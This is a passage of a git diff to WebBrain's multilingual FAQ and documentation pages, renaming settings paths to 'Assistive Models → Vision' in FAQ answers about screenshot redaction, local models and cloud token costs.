लिए क्लाउड प्रदाता के साथ जोड़ा जाता है, जिसमें स्क्रीनशॉट रिडक्शन चालू होता है। आप अभी भी अपनी बातचीत और पेज टेक्स्ट को डिवाइस पर रखते हैं, और क्लाउड विज़न के लिए छोड़े जाने वाले प्रत्येक स्क्रीनशॉट में फॉर्म फ़ील्ड और पहचाने गए ईमेल/फ़ोन पहले धुंधले होते हैं - पूर्ण स्थानीय विज़न मॉडल के लिए हार्डवेयर की आवश्यकता के बिना क्लाउड एक्सपोज़र कम हो जाता है। विज़न स्प्लिट को नीचे कॉन्फ़िगर करें <strong>सेटिंग्स → विजन</strong> (ऊपर देखें "WebBrain क्लाउड एलएलएम बिलों को कैसे नियंत्रण में रखता है?")।</p></div>
+ <div class="faq-answer"><p>नहीं - यह जोखिम को कम करता है, इसकी कोई गारंटी नहीं है। सक्षम होने पर (<strong>सेटिंग्स → सहायक मॉडल → दृष्टि → स्क्रीनशॉट रिडक्शन</strong>, डिफ़ॉल्ट रूप से बंद), WebBrain फॉर्म फ़ील्ड और टेक्स्ट को पिक्सेलित करता है जो प्रत्येक स्क्रीनशॉट पर एक ईमेल पते या फोन नंबर की तरह दिखता है <em>पहले</em> इसे एक विज़न मॉडल में भेजा जाता है। DOM हेयुरिस्टिक्स का उपयोग करके डिटेक्शन पूरी तरह से आपके डिवाइस पर चलता है; कुछ भी अतिरिक्त प्रसारित नहीं होता है.</p><p><strong>यह सर्वोत्तम-प्रयास और असफलता-रहित है।</strong> यदि डिटेक्टर किसी पृष्ठ पर नहीं चल सकता है - उदाहरण के लिए नेविगेशन के तुरंत बाद, पीडीएफ दर्शकों पर, या प्रतिबंधित ब्राउज़र पृष्ठों पर - स्क्रीनशॉट अभी भी भेजा जाता है <em>अप्रकाशित</em> अपने कार्य को निरस्त करने के बजाय। वह सामग्री जिसे DOM अनुमान नहीं देख सकता (कैनवास पर खींचा गया पाठ, छवियों के अंदर PII, असामान्य विजेट) भी फिसल सकता है। और सेटिंग केवल स्क्रीनशॉट को कवर करती है: पेज <em>पाठ</em> मॉडल को भेजा गया इसके द्वारा संशोधित नहीं किया गया है।</p><p><strong>पूर्ण दृष्टि गोपनीयता के लिए, स्थानीय मॉडल का उपयोग करें।</strong> llama.cpp या Ollama जैसे ऑफ़लाइन प्रदाता के साथ, स्क्रीनशॉट और पेज टेक्स्ट आपकी मशीन को कभी नहीं छोड़ते हैं, इसलिए पहली बार में रिडक्ट करने के लिए कुछ भी नहीं है - यह एकमात्र कॉन्फ़िगरेशन है जहां गोपनीयता की गारंटी है। देखें "क्या मैं WebBrain का पूरी तरह ऑफ़लाइन उपयोग कर सकता हूँ?" ऊपर।</p><p><strong>क्या आपके पास ऐसी मशीन नहीं है जो दृष्टि-सक्षम स्थानीय मॉडल चला सके?</strong> एक अच्छा मध्य मार्ग नियोजन और टूल कॉल के लिए एक छोटा स्थानीय मॉडल है (एक मामूली सीपीयू/जीपीयू के लिए पर्याप्त तेज़ और हल्का) जिसे विज़न उप-कॉल के लिए क्लाउड प्रदाता के साथ जोड़ा जाता है, जिसमें स्क्रीनशॉट रिडक्शन चालू होता है। आप अभी भी अपनी बातचीत और पेज टेक्स्ट को डिवाइस पर रखते हैं, और क्लाउड विज़न के लिए छोड़े जाने वाले प्रत्येक स्क्रीनशॉट में फॉर्म फ़ील्ड और पहचाने गए ईमेल/फ़ोन पहले धुंधले होते हैं - पूर्ण स्थानीय विज़न मॉडल के लिए हार्डवेयर की आवश्यकता के बिना क्लाउड एक्सपोज़र कम हो जाता है। विज़न स्प्लिट को नीचे कॉन्फ़िगर करें <strong>सेटिंग्स → सहायक मॉडल → दृष्टि</strong> (ऊपर देखें "WebBrain क्लाउड एलएलएम बिलों को कैसे नियंत्रण में रखता है?")।</p></div>
</details>
<details class="faq-question" id="page-context" data-faq-item>
<summary><span>क्या WebBrain पूरा DOM एआई मॉडल को भेजता है?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
diff --git a/web/docs/id/faq/index.html b/web/docs/id/faq/index.html
index 71c7727f4..d4436dacd 100644
--- a/web/docs/id/faq/index.html
+++ b/web/docs/id/faq/index.html
@@ -249,7 +249,7 @@
"name": "Apakah pengaturan Penyamaran tangkapan layar menjamin data pribadi saya tidak pernah sampai ke model visi cloud?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "Tidak — pengaturan ini mengurangi risiko paparan, bukan jaminan. Saat diaktifkan (Pengaturan → Multimodal → Penyamaran tangkapan layar, nonaktif secara default), WebBrain mem-pixel-kan kolom formulir dan teks yang terlihat seperti alamat email atau nomor telepon pada setiap tangkapan layar sebelum dikirim ke model visi. Pendeteksian berjalan sepenuhnya di perangkat Anda menggunakan heuristik DOM; tidak ada yang dikirim ekstra. Ini bersifat best-effort dan fail-open. Jika detektor tidak bisa berjalan di suatu halaman — misalnya tepat setelah navigasi, di penampil PDF, atau di halaman browser yang dibatasi — tangkapan layar tetap dikirim tanpa disamarkan daripada membatalkan tugas Anda. Konten yang tidak bisa dilihat heuristik DOM (teks yang digambar di canvas, informasi pribadi di dalam gambar, widget yang tidak umum) juga bisa lolos. Dan pengaturan ini hanya mencakup tangkapan layar: teks halaman yang dikirim ke model tidak disamarkan olehnya. Untuk privasi visi yang penuh, gunakan model lokal. Dengan penyedia offline seperti llama.cpp atau Ollama, tangkapan layar dan teks halaman tidak pernah meninggalkan perangkat Anda, jadi sejak awal tidak ada yang perlu disamarkan — ini satu-satunya konfigurasi di mana privasi benar-benar terjamin. Lihat \"Bisakah saya menggunakan WebBrain sepenuhnya offline?\" di atas. Tidak punya perangkat yang mampu menjalankan model lokal dengan visi? Jalan tengah yang baik adalah menggunakan model lokal kecil untuk perencanaan dan pemanggilan alat (cukup ringan untuk CPU/GPU yang sederhana), dipadukan dengan penyedia cloud untuk sub-panggilan visi, dengan Penyamaran tangkapan layar diaktifkan. Percakapan dan teks halaman Anda tetap berada di perangkat, dan setiap tangkapan layar yang dikirim ke visi cloud sudah memiliki kolom formulir serta email/telepon yang terdeteksi dalam keadaan buram — paparan cloud berkurang tanpa perlu perangkat keras untuk model visi lokal penuh. Atur pembagian ini di Pengaturan → Visi (lihat \"Bagaimana WebBrain menjaga tagihan LLM cloud tetap terkendali?\" di atas)."
+ "text": "Tidak — pengaturan ini mengurangi risiko paparan, bukan jaminan. Saat diaktifkan (Pengaturan → Model Pendukung → Visi → Penyamaran tangkapan layar, nonaktif secara default), WebBrain mem-pixel-kan kolom formulir dan teks yang terlihat seperti alamat email atau nomor telepon pada setiap tangkapan layar sebelum dikirim ke model visi. Pendeteksian berjalan sepenuhnya di perangkat Anda menggunakan heuristik DOM; tidak ada yang dikirim ekstra. Ini bersifat best-effort dan fail-open. Jika detektor tidak bisa berjalan di suatu halaman — misalnya tepat setelah navigasi, di penampil PDF, atau di halaman browser yang dibatasi — tangkapan layar tetap dikirim tanpa disamarkan daripada membatalkan tugas Anda. Konten yang tidak bisa dilihat heuristik DOM (teks yang digambar di canvas, informasi pribadi di dalam gambar, widget yang tidak umum) juga bisa lolos. Dan pengaturan ini hanya mencakup tangkapan layar: teks halaman yang dikirim ke model tidak disamarkan olehnya. Untuk privasi visi yang penuh, gunakan model lokal. Dengan penyedia offline seperti llama.cpp atau Ollama, tangkapan layar dan teks halaman tidak pernah meninggalkan perangkat Anda, jadi sejak awal tidak ada yang perlu disamarkan — ini satu-satunya konfigurasi di mana privasi benar-benar terjamin. Lihat \"Bisakah saya menggunakan WebBrain sepenuhnya offline?\" di atas. Tidak punya perangkat yang mampu menjalankan model lokal dengan visi? Jalan tengah yang baik adalah menggunakan model lokal kecil untuk perencanaan dan pemanggilan alat (cukup ringan untuk CPU/GPU yang sederhana), dipadukan dengan penyedia cloud untuk sub-panggilan visi, dengan Penyamaran tangkapan layar diaktifkan. Percakapan dan teks halaman Anda tetap berada di perangkat, dan setiap tangkapan layar yang dikirim ke visi cloud sudah memiliki kolom formulir serta email/telepon yang terdeteksi dalam keadaan buram — paparan cloud berkurang tanpa perlu perangkat keras untuk model visi lokal penuh. Atur pembagian ini di Pengaturan → Model Pendukung → Visi (lihat \"Bagaimana WebBrain menjaga tagihan LLM cloud tetap terkendali?\" di atas)."
}
},
{
@@ -289,7 +289,7 @@
"name": "Bagaimana WebBrain menjaga tagihan LLM cloud tetap terkendali?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "Tiga lapisan independen: Tangkapan layar hemat token. Sebelum gambar meninggalkan mesin Anda, WebBrain mengubah ukurannya (sisi pendek dibatasi, rasio aspek dipertahankan) dan mengompresi JPEG secara iteratif hingga muat dengan anggaran token gambar per giliran. Tangkapan layar 2000×1200 yang akan menghabiskan ~1.500 token input di GPT-4o akan dikompresi menjadi ~300–500 token tanpa kerugian praktis untuk tugas membaca halaman. Diimplementasikan di _fitImageDimensions dengan unit test untuk perhitungan anggarannya. Pemangkasan konteks cerdas. Riwayat percakapan, keluaran alat, dan dump DOM inline dibatasi per giliran dan dipangkas yang terlama lebih dulu saat jendela konteks model aktif mendekati penuh. Anda tidak akan melihat eksekusi diam-diam membengkak dari 10k token menjadi 100k karena read_page mengembalikan artikel sepanjang novel. Model visi khusus. Pasangkan model teks murah (mis. GPT-4o-mini) untuk perencanaan dan pemanggilan alat dengan model visi terpisah (mis. GPT-4o) hanya untuk tangkapan layar, sehingga Anda tidak membayar harga model multimodal di setiap giliran. Konfigurasikan di Pengaturan → Visi. Hasil akhirnya: sesi panjang dengan penyedia cloud tetap terprediksi. Untuk kendali penuh, gunakan llama.cpp secara lokal — biaya per token nol."
+ "text": "Tiga lapisan independen: Tangkapan layar hemat token. Sebelum gambar meninggalkan mesin Anda, WebBrain mengubah ukurannya (sisi pendek dibatasi, rasio aspek dipertahankan) dan mengompresi JPEG secara iteratif hingga muat dengan anggaran token gambar per giliran. Tangkapan layar 2000×1200 yang akan menghabiskan ~1.500 token input di GPT-4o akan dikompresi menjadi ~300–500 token tanpa kerugian praktis untuk tugas membaca halaman. Diimplementasikan di _fitImageDimensions dengan unit test untuk perhitungan anggarannya. Pemangkasan konteks cerdas. Riwayat percakapan, keluaran alat, dan dump DOM inline dibatasi per giliran dan dipangkas yang terlama lebih dulu saat jendela konteks model aktif mendekati penuh. Anda tidak akan melihat eksekusi diam-diam membengkak dari 10k token menjadi 100k karena read_page mengembalikan artikel sepanjang novel. Model visi khusus. Pasangkan model teks murah (mis. GPT-4o-mini) untuk perencanaan dan pemanggilan alat dengan model visi terpisah (mis. GPT-4o) hanya untuk tangkapan layar, sehingga Anda tidak membayar harga model multimodal di setiap giliran. Konfigurasikan di Pengaturan → Model Pendukung → Visi. Hasil akhirnya: sesi panjang dengan penyedia cloud tetap terprediksi. Untuk kendali penuh, gunakan llama.cpp secara lokal — biaya per token nol."
}
},
{
@@ -591,7 +591,7 @@
</details>
<details class="faq-question" id="token-conscious" data-faq-item>
<summary><span>Bagaimana WebBrain menjaga tagihan LLM cloud tetap terkendali?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>Tiga lapisan independen:</p><p><strong>Tangkapan layar hemat token.</strong> Sebelum gambar meninggalkan mesin Anda, WebBrain mengubah ukurannya (sisi pendek dibatasi, rasio aspek dipertahankan) dan mengompresi JPEG secara iteratif hingga muat dengan anggaran token gambar per giliran. Tangkapan layar 2000×1200 yang akan menghabiskan ~1.500 token input di GPT-4o akan dikompresi menjadi ~300–500 token tanpa kerugian praktis untuk tugas membaca halaman. Diimplementasikan di <code>_fitImageDimensions</code> dengan unit test untuk perhitungan anggarannya.</p><p><strong>Pemangkasan konteks cerdas.</strong> Riwayat percakapan, keluaran alat, dan dump DOM inline dibatasi per giliran dan dipangkas yang terlama lebih dulu saat jendela konteks model aktif mendekati penuh. Anda tidak akan melihat eksekusi diam-diam membengkak dari 10k token menjadi 100k karena <code>read_page</code> mengembalikan artikel sepanjang novel.</p><p><strong>Model visi khusus.</strong> Pasangkan model teks murah (mis. GPT-4o-mini) untuk perencanaan dan pemanggilan alat dengan model visi terpisah (mis. GPT-4o) hanya untuk tangkapan layar, sehingga Anda tidak membayar harga model multimodal di setiap giliran. Konfigurasikan di <strong>Pengaturan → Visi</strong>.</p><p>Hasil akhirnya: sesi panjang dengan penyedia cloud tetap terprediksi. Untuk kendali penuh, gunakan llama.cpp secara lokal — biaya per token nol.</p></div>
+ <div class="faq-answer"><p>Tiga lapisan independen:</p><p><strong>Tangkapan layar hemat token.</strong> Sebelum gambar meninggalkan mesin Anda, WebBrain mengubah ukurannya (sisi pendek dibatasi, rasio aspek dipertahankan) dan mengompresi JPEG secara iteratif hingga muat dengan anggaran token gambar per giliran. Tangkapan layar 2000×1200 yang akan menghabiskan ~1.500 token input di GPT-4o akan dikompresi menjadi ~300–500 token tanpa kerugian praktis untuk tugas membaca halaman. Diimplementasikan di <code>_fitImageDimensions</code> dengan unit test untuk perhitungan anggarannya.</p><p><strong>Pemangkasan konteks cerdas.</strong> Riwayat percakapan, keluaran alat, dan dump DOM inline dibatasi per giliran dan dipangkas yang terlama lebih dulu saat jendela konteks model aktif mendekati penuh. Anda tidak akan melihat eksekusi diam-diam membengkak dari 10k token menjadi 100k karena <code>read_page</code> mengembalikan artikel sepanjang novel.</p><p><strong>Model visi khusus.</strong> Pasangkan model teks murah (mis. GPT-4o-mini) untuk perencanaan dan pemanggilan alat dengan model visi terpisah (mis. GPT-4o) hanya untuk tangkapan layar, sehingga Anda tidak membayar harga model multimodal di setiap giliran. Konfigurasikan di <strong>Pengaturan → Model Pendukung → Visi</strong>.</p><p>Hasil akhirnya: sesi panjang dengan penyedia cloud tetap terprediksi. Untuk kendali penuh, gunakan llama.cpp secara lokal — biaya per token nol.</p></div>
</details>
</section>
<section class="faq-topic" id="topic-models" data-faq-topic>
@@ -685,7 +685,7 @@
</details>
<details class="faq-question" id="screenshot-redaction" data-faq-item>
<summary><span>Apakah pengaturan Penyamaran tangkapan layar menjamin data pribadi saya tidak pernah sampai ke model visi cloud?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>Tidak — pengaturan ini mengurangi risiko paparan, bukan jaminan. Saat diaktifkan (<strong>Pengaturan → Multimodal → Penyamaran tangkapan layar</strong>, nonaktif secara default), WebBrain mem-pixel-kan kolom formulir dan teks yang terlihat seperti alamat email atau nomor telepon pada setiap tangkapan layar <em>sebelum</em> dikirim ke model visi. Pendeteksian berjalan sepenuhnya di perangkat Anda menggunakan heuristik DOM; tidak ada yang dikirim ekstra.</p><p><strong>Ini bersifat best-effort dan fail-open.</strong> Jika detektor tidak bisa berjalan di suatu halaman — misalnya tepat setelah navigasi, di penampil PDF, atau di halaman browser yang dibatasi — tangkapan layar tetap dikirim <em>tanpa disamarkan</em> daripada membatalkan tugas Anda. Konten yang tidak bisa dilihat heuristik DOM (teks yang digambar di canvas, informasi pribadi di dalam gambar, widget yang tidak umum) juga bisa lolos. Dan pengaturan ini hanya mencakup tangkapan layar: <em>teks</em> halaman yang dikirim ke model tidak disamarkan olehnya.</p><p><strong>Untuk privasi visi yang penuh, gunakan model lokal.</strong> Dengan penyedia offline seperti llama.cpp atau Ollama, tangkapan layar dan teks halaman tidak pernah meninggalkan perangkat Anda, jadi sejak awal tidak ada yang perlu disamarkan — ini satu-satunya konfigurasi di mana privasi benar-benar terjamin. Lihat "Bisakah saya menggunakan WebBrain sepenuhnya offline?" di atas.</p><p><strong>Tidak punya perangkat yang mampu menjalankan model lokal dengan visi?</strong> Jalan tengah yang baik adalah menggunakan model lokal kecil untuk perencanaan dan pemanggilan alat (cukup ringan untuk CPU/GPU yang sederhana), dipadukan dengan penyedia cloud untuk sub-panggilan visi, dengan Penyamaran tangkapan layar diaktifkan. Percakapan dan teks halaman Anda tetap berada di perangkat, dan setiap tangkapan layar yang dikirim ke visi cloud sudah memiliki kolom formulir serta email/telepon yang terdeteksi dalam keadaan buram — paparan cloud berkurang tanpa perlu perangkat keras untuk model visi lokal penuh. Atur pembagian ini di <strong>Pengaturan → Visi</strong> (lihat "Bagaimana WebBrain menjaga tagihan LLM cloud tetap terkendali?" di atas).</p></div>
+ <div class="faq-answer"><p>Tidak — pengaturan ini mengurangi risiko paparan, bukan jaminan. Saat diaktifkan (<strong>Pengaturan → Model Pendukung → Visi → Penyamaran tangkapan layar</strong>, nonaktif secara default), WebBrain mem-pixel-kan kolom formulir dan teks yang terlihat seperti alamat email atau nomor telepon pada setiap tangkapan layar <em>sebelum</em> dikirim ke model visi. Pendeteksian berjalan sepenuhnya di perangkat Anda menggunakan heuristik DOM; tidak ada yang dikirim ekstra.</p><p><strong>Ini bersifat best-effort dan fail-open.</strong> Jika detektor tidak bisa berjalan di suatu halaman — misalnya tepat setelah navigasi, di penampil PDF, atau di halaman browser yang dibatasi — tangkapan layar tetap dikirim <em>tanpa disamarkan</em> daripada membatalkan tugas Anda. Konten yang tidak bisa dilihat heuristik DOM (teks yang digambar di canvas, informasi pribadi di dalam gambar, widget yang tidak umum) juga bisa lolos. Dan pengaturan ini hanya mencakup tangkapan layar: <em>teks</em> halaman yang dikirim ke model tidak disamarkan olehnya.</p><p><strong>Untuk privasi visi yang penuh, gunakan model lokal.</strong> Dengan penyedia offline seperti llama.cpp atau Ollama, tangkapan layar dan teks halaman tidak pernah meninggalkan perangkat Anda, jadi sejak awal tidak ada yang perlu disamarkan — ini satu-satunya konfigurasi di mana privasi benar-benar terjamin. Lihat "Bisakah saya menggunakan WebBrain sepenuhnya offline?" di atas.</p><p><strong>Tidak punya perangkat yang mampu menjalankan model lokal dengan visi?</strong> Jalan tengah yang baik adalah menggunakan model lokal kecil untuk perencanaan dan pemanggilan alat (cukup ringan untuk CPU/GPU yang sederhana), dipadukan dengan penyedia cloud untuk sub-panggilan visi, dengan Penyamaran tangkapan layar diaktifkan. Percakapan dan teks halaman Anda tetap berada di perangkat, dan setiap tangkapan layar yang dikirim ke visi cloud sudah memiliki kolom formulir serta email/telepon yang terdeteksi dalam keadaan buram — paparan cloud berkurang tanpa perlu perangkat keras untuk model visi lokal penuh. Atur pembagian ini di <strong>Pengaturan → Model Pendukung → Visi</strong> (lihat "Bagaimana WebBrain menjaga tagihan LLM cloud tetap terkendali?" di atas).</p></div>
</details>
<details class="faq-question" id="page-context" data-faq-item>
<summary><span>Apakah WebBrain mengirim seluruh DOM ke model AI?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
diff --git a/web/docs/index.html b/web/docs/index.html
index 988570917..d271dd389 100644
--- a/web/docs/index.html
+++ b/web/docs/index.html
@@ -64,7 +64,7 @@
<div class="walkthrough-copy">
<div class="eyebrow">Watch first · 12 min 40 sec</div>
<h2 id="settings-walkthrough-title">Settings, from the useful defaults to the advanced controls.</h2>
- <p>Start with the few choices most people need, then follow every Settings tab through providers, multimodal models, memory, skills, permissions, and the advanced drawer.</p>
+ <p>Start with the few choices most people need, then follow the Settings tabs through providers, supporting models, memory, skills, permissions, and the advanced drawer. The older video calls Assistive Models “Multimodal”; the current tab also contains Jev (TypeSafe).</p>
</div>
<div class="walkthrough-player">
<video controls preload="metadata" playsinline poster="/assets/webbrain-settings-walkthrough-poster.jpg">
@@ -120,7 +120,7 @@
<div class="settings-map" aria-label="Settings depth map">
<div class="setting-node everyday"><strong>General</strong><span>behavior & comfort</span></div>
<div class="setting-node everyday"><strong>Providers</strong><span>the active model</span></div>
- <div class="setting-node sometimes"><strong>Multimodal</strong><span>vision & speech</span></div>
+ <div class="setting-node sometimes"><strong>Assistive Models</strong><span>vision, speech & Jev</span></div>
<div class="setting-node sometimes"><strong>Memory</strong><span>what persists</span></div>
<div class="setting-node expert"><strong>Skills</strong><span>trusted add-ons</span></div>
<div class="setting-node everyday"><strong>Permissions</strong><span>where it may act</span></div>
diff --git a/web/docs/ja/faq/index.html b/web/docs/ja/faq/index.html
index e091f15c1..2366c4b66 100644
--- a/web/docs/ja/faq/index.html
+++ b/web/docs/ja/faq/index.html
@@ -249,7 +249,7 @@
"name": "スクリーンショット黒塗り設定は、プライベートなデータがクラウドのビジョンモデルに届かないことを保証しますか?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "いいえ — これは露出を減らすものであり、保証ではありません。有効にすると(設定 → マルチモーダル → スクリーンショットの黒塗り、デフォルトはオフ)、WebBrainはすべてのスクリーンショットについて、ビジョンモデルに送信する前にフォーム項目やメールアドレス・電話番号らしきテキストにモザイクをかけます。検出はDOMヒューリスティックを使ってすべて端末内で行われ、追加で送信されるデータはありません。 これはベストエフォートかつフェイルオープンです。ナビゲーション直後、PDFビューア、制限されたブラウザページなど、検出器がページ上で動作できない場合、タスクを中断する代わりにスクリーンショットは黒塗りされないまま送信されます。DOMヒューリスティックが認識できないコンテンツ(canvasに描画されたテキスト、画像内の個人情報、特殊なウィジェットなど)も見逃される可能性があります。また、この設定はスクリーンショットのみを対象としており、モデルに送られるページの本文テキストはこれによって黒塗りされません。 ビジョンについて完全なプライバシーが必要な場合は、ローカルモデルを使用してください。llama.cppやOllamaのようなオフラインプロバイダーを使えば、スクリーンショットもページテキストも端末から一切出ないため、そもそも黒塗りする必要がありません — これがプライバシーが保証される唯一の構成です。上記の「WebBrain は完全にオフラインで使えますか?」を参照してください。 ビジョン対応のローカルモデルを動かせるマシンがない場合は?プランニングとツール呼び出し用に軽量なローカルモデル(控えめなCPU/GPUでも動く程度の軽さ)を使い、ビジョンのサブコールにはクラウドプロバイダーを組み合わせ、スクリーンショットの黒塗りをオンにするのが良い折衷案です。会話とページテキストは端末内に留まり、クラウドのビジョンに送られるスクリーンショットは事前にフォーム項目や検出されたメール/電話番号が黒塗りされた状態になります — 完全なローカルビジョンモデル用のハードウェアを用意しなくても、クラウドへの露出を減らせます。この振り分けは設定 → ビジョンから設定してください(上記の「WebBrain はどうやってクラウド LLM の請求を抑えていますか?」も参照)。"
+ "text": "いいえ — これは露出を減らすものであり、保証ではありません。有効にすると(設定 → 補助モデル → 画像認識 → スクリーンショットの黒塗り、デフォルトはオフ)、WebBrainはすべてのスクリーンショットについて、ビジョンモデルに送信する前にフォーム項目やメールアドレス・電話番号らしきテキストにモザイクをかけます。検出はDOMヒューリスティックを使ってすべて端末内で行われ、追加で送信されるデータはありません。 これはベストエフォートかつフェイルオープンです。ナビゲーション直後、PDFビューア、制限されたブラウザページなど、検出器がページ上で動作できない場合、タスクを中断する代わりにスクリーンショットは黒塗りされないまま送信されます。DOMヒューリスティックが認識できないコンテンツ(canvasに描画されたテキスト、画像内の個人情報、特殊なウィジェットなど)も見逃される可能性があります。また、この設定はスクリーンショットのみを対象としており、モデルに送られるページの本文テキストはこれによって黒塗りされません。 ビジョンについて完全なプライバシーが必要な場合は、ローカルモデルを使用してください。llama.cppやOllamaのようなオフラインプロバイダーを使えば、スクリーンショットもページテキストも端末から一切出ないため、そもそも黒塗りする必要がありません — これがプライバシーが保証される唯一の構成です。上記の「WebBrain は完全にオフラインで使えますか?」を参照してください。 ビジョン対応のローカルモデルを動かせるマシンがない場合は?プランニングとツール呼び出し用に軽量なローカルモデル(控えめなCPU/GPUでも動く程度の軽さ)を使い、ビジョンのサブコールにはクラウドプロバイダーを組み合わせ、スクリーンショットの黒塗りをオンにするのが良い折衷案です。会話とページテキストは端末内に留まり、クラウドのビジョンに送られるスクリーンショットは事前にフォーム項目や検出されたメール/電話番号が黒塗りされた状態になります — 完全なローカルビジョンモデル用のハードウェアを用意しなくても、クラウドへの露出を減らせます。この振り分けは設定 → 補助モデル → 画像認識から設定してください(上記の「WebBrain はどうやってクラウド LLM の請求を抑えていますか?」も参照)。"
}
},
{
@@ -289,7 +289,7 @@
"name": "WebBrain はどうやってクラウド LLM の請求を抑えていますか?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "独立した 3 層構造です: トークンに配慮したスクリーンショット。 画像があなたのマシンから出ていく前に、WebBrain はリサイズ (短辺をキャップしつつアスペクト比を維持) し、JPEG で反復的に圧縮して 1 ターンあたりの画像トークン予算に収めます。GPT-4o で約 1,500 入力トークンかかる 2000×1200 のスクリーンショットも、ページ読み取り用途では実用上の損失なく ~300–500 トークンに圧縮されます。実装は _fitImageDimensions にあり、予算計算のユニットテストも備えています。 スマートなコンテキストトリミング。 会話履歴、ツール出力、インラインの DOM ダンプは 1 ターンあたりで上限がかかり、アクティブモデルのコンテキスト窓が満杯に近づくと古いものから順にトリミングされます。read_page が小説並みの長さの記事を返したからといって、実行が静かに 10k トークンから 100k トークンに膨らむことはありません。 専用の画像認識モデル。 計画とツール呼び出しには安いテキストモデル (例: GPT-4o-mini)、スクリーンショットだけは別の画像認識対応モデル (例: GPT-4o) というふうに組み合わせれば、毎ターン マルチモーダルモデルの料金を払わずに済みます。設定は 設定 → 画像認識 から。 結果として、クラウドプロバイダーとの長時間セッションは予測可能なままです。完全な制御が欲しいなら、ローカルで llama.cpp を — トークン単価はゼロです。"
+ "text": "独立した 3 層構造です: トークンに配慮したスクリーンショット。 画像があなたのマシンから出ていく前に、WebBrain はリサイズ (短辺をキャップしつつアスペクト比を維持) し、JPEG で反復的に圧縮して 1 ターンあたりの画像トークン予算に収めます。GPT-4o で約 1,500 入力トークンかかる 2000×1200 のスクリーンショットも、ページ読み取り用途では実用上の損失なく ~300–500 トークンに圧縮されます。実装は _fitImageDimensions にあり、予算計算のユニットテストも備えています。 スマートなコンテキストトリミング。 会話履歴、ツール出力、インラインの DOM ダンプは 1 ターンあたりで上限がかかり、アクティブモデルのコンテキスト窓が満杯に近づくと古いものから順にトリミングされます。read_page が小説並みの長さの記事を返したからといって、実行が静かに 10k トークンから 100k トークンに膨らむことはありません。 専用の画像認識モデル。 計画とツール呼び出しには安いテキストモデル (例: GPT-4o-mini)、スクリーンショットだけは別の画像認識対応モデル (例: GPT-4o) というふうに組み合わせれば、毎ターン マルチモーダルモデルの料金を払わずに済みます。設定は 設定 → 補助モデル → 画像認識 から。 結果として、クラウドプロバイダーとの長時間セッションは予測可能なままです。完全な制御が欲しいなら、ローカルで llama.cpp を — トークン単価はゼロです。"
}
},
{
@@ -591,7 +591,7 @@
</details>
<details class="faq-question" id="token-conscious" data-faq-item>
<summary><span>WebBrain はどうやってクラウド LLM の請求を抑えていますか?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>独立した 3 層構造です:</p><p><strong>トークンに配慮したスクリーンショット。</strong> 画像があなたのマシンから出ていく前に、WebBrain はリサイズ (短辺をキャップしつつアスペクト比を維持) し、JPEG で反復的に圧縮して 1 ターンあたりの画像トークン予算に収めます。GPT-4o で約 1,500 入力トークンかかる 2000×1200 のスクリーンショットも、ページ読み取り用途では実用上の損失なく ~300–500 トークンに圧縮されます。実装は <code>_fitImageDimensions</code> にあり、予算計算のユニットテストも備えています。</p><p><strong>スマートなコンテキストトリミング。</strong> 会話履歴、ツール出力、インラインの DOM ダンプは 1 ターンあたりで上限がかかり、アクティブモデルのコンテキスト窓が満杯に近づくと古いものから順にトリミングされます。<code>read_page</code> が小説並みの長さの記事を返したからといって、実行が静かに 10k トークンから 100k トークンに膨らむことはありません。</p><p><strong>専用の画像認識モデル。</strong> 計画とツール呼び出しには安いテキストモデル (例: GPT-4o-mini)、スクリーンショットだけは別の画像認識対応モデル (例: GPT-4o) というふうに組み合わせれば、毎ターン マルチモーダルモデルの料金を払わずに済みます。設定は <strong>設定 → 画像認識</strong> から。</p><p>結果として、クラウドプロバイダーとの長時間セッションは予測可能なままです。完全な制御が欲しいなら、ローカルで llama.cpp を — トークン単価はゼロです。</p></div>
+ <div class="faq-answer"><p>独立した 3 層構造です:</p><p><strong>トークンに配慮したスクリーンショット。</strong> 画像があなたのマシンから出ていく前に、WebBrain はリサイズ (短辺をキャップしつつアスペクト比を維持) し、JPEG で反復的に圧縮して 1 ターンあたりの画像トークン予算に収めます。GPT-4o で約 1,500 入力トークンかかる 2000×1200 のスクリーンショットも、ページ読み取り用途では実用上の損失なく ~300–500 トークンに圧縮されます。実装は <code>_fitImageDimensions</code> にあり、予算計算のユニットテストも備えています。</p><p><strong>スマートなコンテキストトリミング。</strong> 会話履歴、ツール出力、インラインの DOM ダンプは 1 ターンあたりで上限がかかり、アクティブモデルのコンテキスト窓が満杯に近づくと古いものから順にトリミングされます。<code>read_page</code> が小説並みの長さの記事を返したからといって、実行が静かに 10k トークンから 100k トークンに膨らむことはありません。</p><p><strong>専用の画像認識モデル。</strong> 計画とツール呼び出しには安いテキストモデル (例: GPT-4o-mini)、スクリーンショットだけは別の画像認識対応モデル (例: GPT-4o) というふうに組み合わせれば、毎ターン マルチモーダルモデルの料金を払わずに済みます。設定は <strong>設定 → 補助モデル → 画像認識</strong> から。</p><p>結果として、クラウドプロバイダーとの長時間セッションは予測可能なままです。完全な制御が欲しいなら、ローカルで llama.cpp を — トークン単価はゼロです。</p></div>
</details>
</section>
<section class="faq-topic" id="topic-models" data-faq-topic>
@@ -685,7 +685,7 @@
</details>
<details class="faq-question" id="screenshot-redaction" data-faq-item>
<summary><span>スクリーンショット黒塗り設定は、プライベートなデータがクラウドのビジョンモデルに届かないことを保証しますか?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
